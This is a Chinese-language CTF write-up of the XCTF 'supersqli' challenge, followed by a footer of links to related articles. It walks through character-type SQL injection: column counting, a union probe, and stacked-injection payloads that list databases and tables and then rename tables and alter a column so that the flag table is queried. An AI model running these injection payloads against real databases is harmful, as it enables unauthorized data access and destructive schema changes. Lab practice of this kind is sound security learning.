攻防世界supersqli
supersqli
补充知识点
rename 命令格式: rename table 原表名 to 新表名
例如,在表myclass名字更改为youclass:
mysql>rename table myclass to youclass;
alter和change,使用change子句,语法有很大的不同。在change关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型,例子
mysql> alter table testalter_tbl change i j int
补充完成了这两个知识点我们来看题目
进入环境输入1a我们正常得到回显

所以判定为字符型sql注入,判断数据库有多少列
1' order by 3#
回显不正常,但by2回显正常确定为两列
-1' union select 1,2#
当使用联合注入判断回显位置的时候发现绊掉了一些关键字

我这里想使用堆叠注入来完成题目,我们使用show指令来查看数据库
1';show databases;#

接下来我们来show一下表
1';show tables;#

然后我们来看一下表的结构
-1';desc words;--+

1';desc `1919810931114514`;--+

根据这两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
此时会想到禁用的函数并没有过滤掉rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表明改为words1,再将数字名改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
然后我们用这个语句即可查出flag
1' or 1 = 1#
得到flag

攻防世界supersqli的更多相关文章
- 攻防世界(六)supersqli
攻防世界系列:supersqli 方法一: 用逗号包裹回显正常,说明存在注入 1';--+(注释符也可用 -- 或 # 发现均未被过滤!) 有order by 语句可知表由2个字段,使用联合查询 (想 ...
- 攻防世界 WriteUp
附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界 | CAT
来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...
- 攻防世界 robots题
来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...
随机推荐
- UML 包图 详细介绍
6.1 包图的概念 包是一种常规用途的组合机制.UML中的一个包直接对应于Java中的一个包,C#中的命名空间.在Java中,一个包可能含有其他包.类或者同时含有这两者.进行建模时,通常使用逻辑性 ...
- 封闭类和封闭方法(sealed)
因为所有的类都可以被继承,为了防止类的继承被滥用,C#中提出了密封类的概念. 如果想声明一个类,并且该类不能被其他类所继承.那么使用sealed关键字可以将类和方法封闭起来,使类不能被继承,方法不能被 ...
- kibana操作记录
GET _search { "query": { "match_all": {} } } GET _cat/nodes GET _cat/health GET ...
- kibana命令复制索引
POST _reindex { "source": { "index": "原索引名称" }, "dest": { &q ...
- Pandas:DataFrame绘制并保存折线图时不打开图形只保存文件
保存图形,用的是plt.savefig函数,只需要在保存图形之后,调用plt.close()关闭画布,就不会显示出来了: data.plot() outfile='image.png' plt.sav ...
- QT ——TCP接收到的数据出现乱码情况
这个项目是写一个利用TCP来传输.bin的并文件,接收端是将接收到的.bin并文件直接在串口助手中进行读取. 但是从读取的结果来看发现传输过来得数据是错误的,与原数据不相符,由于服务端是直接对并文件在 ...
- laravel7 路由引入,避免上线路由不统一
1:新建 目录admin,新建文件夹route.php 2:将需要的路由写在route.php中即可. 3:在web.php 引入即可 include base_path('routes/admin ...
- PhpStrom 常用的插件
.env files support 可以在env函数使用是提示.env文件中所有的key值的自动完成功能 Markdown support 在编写.md文件时有预览的功能 PHP composer. ...
- Map 集合
<零基础学Java > Map 集合 在程序中需要存储具有映射关系就需要使用Map集合了. Map集合由Map接口.Map接口的实现类组成. Map 接口 Map接口没有Collectio ...
- sql面试 case /union all
1.sum(case when results='胜' then 1 else 0 end) as '胜' 要求查询出结果: sql语句实现: select date, sum(case when r ...